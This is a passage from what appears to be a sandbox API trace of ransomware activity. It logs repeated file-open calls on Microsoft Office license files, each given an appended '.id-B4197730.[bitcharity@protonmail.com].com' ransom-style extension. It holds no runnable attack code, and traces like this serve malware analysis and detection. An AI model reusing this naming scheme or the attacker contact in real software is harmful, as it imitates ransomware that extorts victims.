Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.706] CloseHandle (hObject=0x1234) returned 1 [0252.707] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.707] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.707] CloseHandle (hObject=0x1234) returned 1 [0252.708] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.709] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.709] CloseHandle (hObject=0x1234) returned 1 [0252.710] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.710] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.710] CloseHandle (hObject=0x1234) returned 1 [0252.711] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.711] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.711] CloseHandle (hObject=0x1234) returned 1 [0252.712] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.712] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.713] CloseHandle (hObject=0x1234) returned 1 [0252.713] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.713] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.714] CloseHandle (hObject=0x1234) returned 1 [0252.714] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.714] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0252.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.715] CloseHandle (hObject=0x1234) returned 1 [0253.033] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.033] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.034] CloseHandle (hObject=0x1234) returned 1 [0253.035] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.035] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.035] CloseHandle (hObject=0x1234) returned 1 [0253.036] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.037] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subscription-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.037] CloseHandle (hObject=0x1234) returned 1 [0253.038] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.038] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.038] CloseHandle (hObject=0x1234) returned 1 [0253.039] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.039] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.039] CloseHandle (hObject=0x1234) returned 1 [0253.040] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.040] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtest-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.041] CloseHandle (hObject=0x1234) returned 1 [0253.041] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.042] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.042] CloseHandle (hObject=0x1234) returned 1 [0253.043] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.043] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.043] CloseHandle (hObject=0x1234) returned 1 [0253.050] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.050] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdo365r_subtrial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.050] CloseHandle (hObject=0x1234) returned 1 [0253.051] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.051] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.052] CloseHandle (hObject=0x1234) returned 1 [0253.052] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.053] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.053] CloseHandle (hObject=0x1234) returned 1 [0253.054] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.054] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.055] CloseHandle (hObject=0x1234) returned 1 [0253.056] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.056] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.056] CloseHandle (hObject=0x1234) returned 1 [0253.057] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.057] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.057] CloseHandle (hObject=0x1234) returned 1 [0253.058] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.058] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.059] CloseHandle (hObject=0x1234) returned 1 [0253.060] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.060] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.062] CloseHandle (hObject=0x1234) returned 1 [0253.063] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.063] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.063] CloseHandle (hObject=0x1234) returned 1 [0253.064] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.064] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.065] CloseHandle (hObject=0x1234) returned 1 [0253.066] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.066] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.066] CloseHandle (hObject=0x1234) returned 1 [0253.067] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.067] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.068] CloseHandle (hObject=0x1234) returned 1 [0253.069] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.069] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.069] CloseHandle (hObject=0x1234) returned 1 [0253.070] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.071] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_KMS_Client-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_kms_client-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.071] CloseHandle (hObject=0x1234) returned 1 [0253.072] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.072] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.073] CloseHandle (hObject=0x1234) returned 1 [0253.074] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.074] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 